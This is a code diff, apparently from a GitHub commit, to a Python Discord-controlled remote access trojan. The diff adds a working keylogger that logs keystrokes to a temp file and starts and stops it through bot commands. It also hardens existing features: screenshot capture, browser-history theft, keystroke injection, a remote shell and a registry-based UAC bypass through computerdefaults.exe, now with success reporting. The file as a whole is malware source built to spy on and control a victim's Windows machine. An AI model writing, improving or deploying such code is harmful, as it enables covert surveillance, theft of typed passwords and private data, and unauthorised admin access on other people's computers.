2020from ctypes import cast , POINTER , Structure , c_uint , c_int , sizeof , byref , windll
2121from discord import utils
2222import requests
23+
24+ # Import modules that might be missing and handle their absence
25+ try :
26+ import mss
27+ except ImportError :
28+ pass
29+
30+ try :
31+ from pynput import keyboard
32+ except ImportError :
33+ pass
34+
35+ try :
36+ import pyautogui
37+ except ImportError :
38+ pass
39+
40+ try :
41+ import browserhistory
42+ except ImportError :
43+ pass
44+
45+ try :
46+ import win32gui
47+ import win32con
48+ except ImportError :
49+ pass
50+
2351appdata = os .getenv ('APPDATA' )
2452client = discord .Client (intents = discord .Intents .all ())
2553bot = commands .Bot (command_prefix = '!' , intents = discord .Intents .all ())
@@ -68,6 +96,10 @@ async def send_help_to_channel(channel):
6896user_id = None
6997channel_name = None
7098_thread = None
99+ keylogger_running = False
100+ keylogger_thread = None
101+ link = None # Initialize link variable
102+ pid_process = None # Initialize pid_process variable
71103
72104
73105def steal_user_info ():
@@ -158,18 +190,21 @@ def shell_to_socket():
158190async def activity (client_instance ):
159191 """Track user window activity and update Discord presence."""
160192 import time
161- import win32gui
162- while True :
163- global stop_threads
164- if stop_threads :
165- break
166- try :
167- window = win32gui .GetWindowText (win32gui .GetForegroundWindow ())
168- game = discord .Game (f"Visiting: { window } " )
169- await client_instance .change_presence (status = discord .Status .online , activity = game )
170- except :
171- pass
172- time .sleep (1 )
193+ try :
194+ import win32gui
195+ while True :
196+ global stop_threads
197+ if stop_threads :
198+ break
199+ try :
200+ window = win32gui .GetWindowText (win32gui .GetForegroundWindow ())
201+ game = discord .Game (f"Visiting: { window } " )
202+ await client_instance .change_presence (status = discord .Status .online , activity = game )
203+ except :
204+ pass
205+ time .sleep (1 )
206+ except ImportError :
207+ await client_instance .change_presence (status = discord .Status .online , activity = discord .Game ("win32gui not available" ))
173208
174209def between_callback (client_instance ):
175210 """Set up asyncio loop for activity tracking."""
@@ -270,10 +305,65 @@ def volumedown():
270305 except :
271306 pass
272307
308+ # Keylogger functionality
309+ def start_keylogger ():
310+ """Start the keylogger."""
311+ try :
312+ from pynput import keyboard
313+
314+ global keylogger_running , keylogger_thread
315+
316+ if keylogger_running :
317+ return "Keylogger is already running"
318+
319+ temp = os .getenv ("TEMP" )
320+ log_file = os .path .join (temp , "klg.tmp" )
321+
322+ def on_press (key ):
323+ if not keylogger_running :
324+ return False
325+
326+ try :
327+ with open (log_file , "a" ) as f :
328+ try :
329+ f .write (key .char )
330+ except AttributeError :
331+ if key == keyboard .Key .space :
332+ f .write (" " )
333+ elif key == keyboard .Key .enter :
334+ f .write ("\n " )
335+ else :
336+ f .write (f"[{ str (key )} ]" )
337+ except :
338+ pass
339+
340+ def keylogger_function ():
341+ with keyboard .Listener (on_press = on_press ) as listener :
342+ listener .join ()
343+
344+ keylogger_running = True
345+ keylogger_thread = threading .Thread (target = keylogger_function , daemon = True )
346+ keylogger_thread .start ()
347+
348+ return "Keylogger started successfully"
349+ except ImportError :
350+ return "Error: pynput module not installed"
351+ except Exception as e :
352+ return f"Error starting keylogger: { str (e )} "
353+
354+ def stop_keylogger ():
355+ """Stop the keylogger."""
356+ global keylogger_running
357+ if keylogger_running :
358+ keylogger_running = False
359+ return "Keylogger stopped"
360+ else :
361+ return "Keylogger is not running"
362+
273363@client .event
274364async def on_message (message ):
275365 """Handle incoming Discord messages and execute commands."""
276- global channel_name
366+ global channel_name , keylogger_running , pid_process
277367
278368 # Check if the message is in the correct channel
279369 if not hasattr (message .channel , 'name' ) or message .channel .name != channel_name :
@@ -337,6 +427,20 @@ def accept_connections():
337427 except Exception as e :
338428 await message .channel .send (f"[!] Error starting remote shell: { str (e )} " )
339429
430+ elif message .content == "!startkeylogger" :
431+ try :
432+ result = start_keylogger ()
433+ await message .channel .send (f"[*] { result } " )
434+ except Exception as e :
435+ await message .channel .send (f"[!] Error starting keylogger: { str (e )} " )
436+
437+ elif message .content == "!stopkeylogger" :
438+ try :
439+ result = stop_keylogger ()
440+ await message .channel .send (f"[*] { result } " )
441+ except Exception as e :
442+ await message .channel .send (f"[!] Error stopping keylogger: { str (e )} " )
443+
340444 elif message .content == "!dumpkeylogger" :
341445 try :
342446 temp = os .getenv ("TEMP" )
@@ -379,6 +483,11 @@ def accept_connections():
379483
380484 elif message .content == "!screenshot" :
381485 try :
486+ # Check if mss is installed
487+ if 'mss' not in sys .modules :
488+ await message .channel .send ("[!] Error: mss module not installed" )
489+ return
490+
382491 from mss import mss
383492 temp_file = os .path .join (os .getenv ('TEMP' ), f"screen_{ random .randint (1000 , 9999 )} .png" )
384493 with mss () as sct :
@@ -435,7 +544,11 @@ def accept_connections():
435544
436545 elif message .content .startswith ("!message" ):
437546 try :
438- import ctypes
547+ # Check if required modules are available
548+ if 'win32gui' not in sys .modules or 'win32con' not in sys .modules :
549+ await message .channel .send ("[!] Error: win32gui or win32con modules not installed" )
550+ return
551+
439552 import win32con
440553 import win32gui
441554
@@ -570,6 +683,11 @@ def execute_shell_command():
570683
571684 elif message .content .startswith ("!write" ):
572685 try :
686+ # Check if pyautogui is installed
687+ if 'pyautogui' not in sys .modules :
688+ await message .channel .send ("[!] Error: pyautogui module not installed" )
689+ return
690+
573691 import pyautogui
574692 text = message .content [7 :]
575693 if text .lower () == "enter" :
@@ -582,6 +700,11 @@ def execute_shell_command():
582700
583701 elif message .content == "!history" :
584702 try :
703+ # Check if browserhistory is installed
704+ if 'browserhistory' not in sys .modules :
705+ await message .channel .send ("[!] Error: browserhistory module not installed" )
706+ return
707+
585708 import browserhistory as bh
586709 dict_obj = bh .get_browserhistory ()
587710 strobj = str (dict_obj ).encode (errors = 'ignore' )
@@ -704,6 +827,7 @@ def is_admin():
704827 if is_admin ():
705828 await message .channel .send ("[*] Already running with administrator privileges" )
706829 else :
830+ await message .channel .send ("[*] Attempting UAC bypass..." )
707831 temp_dir = os .environ .get ('TEMP' )
708832 payload_path = os .path .join (temp_dir , "system_update" )
709833
@@ -721,12 +845,19 @@ def is_admin():
721845 os .system ("start computerdefaults.exe" )
722846 time .sleep (3 )
723847
848+ # Clean up
724849 winreg .DeleteKey (winreg .HKEY_CURRENT_USER , key_path )
725850 os .remove (payload_path + ".bat" )
726- except Exception :
727- pass
728- except Exception :
729- pass
851+
852+ # Check if bypass was successful
853+ if is_admin ():
854+ await message .channel .send ("[+] UAC bypass successful! Now running with admin privileges" )
855+ else :
856+ await message .channel .send ("[!] UAC bypass attempt completed, but still not running as admin" )
857+ except Exception as e :
858+ await message .channel .send (f"[!] UAC bypass failed: { str (e )} " )
859+ except Exception as e :
860+ await message .channel .send (f"[!] Error during UAC bypass: { str (e )} " )
730861
731862 elif message .content .startswith ("!sing" ):
732863 try :
0 commit comments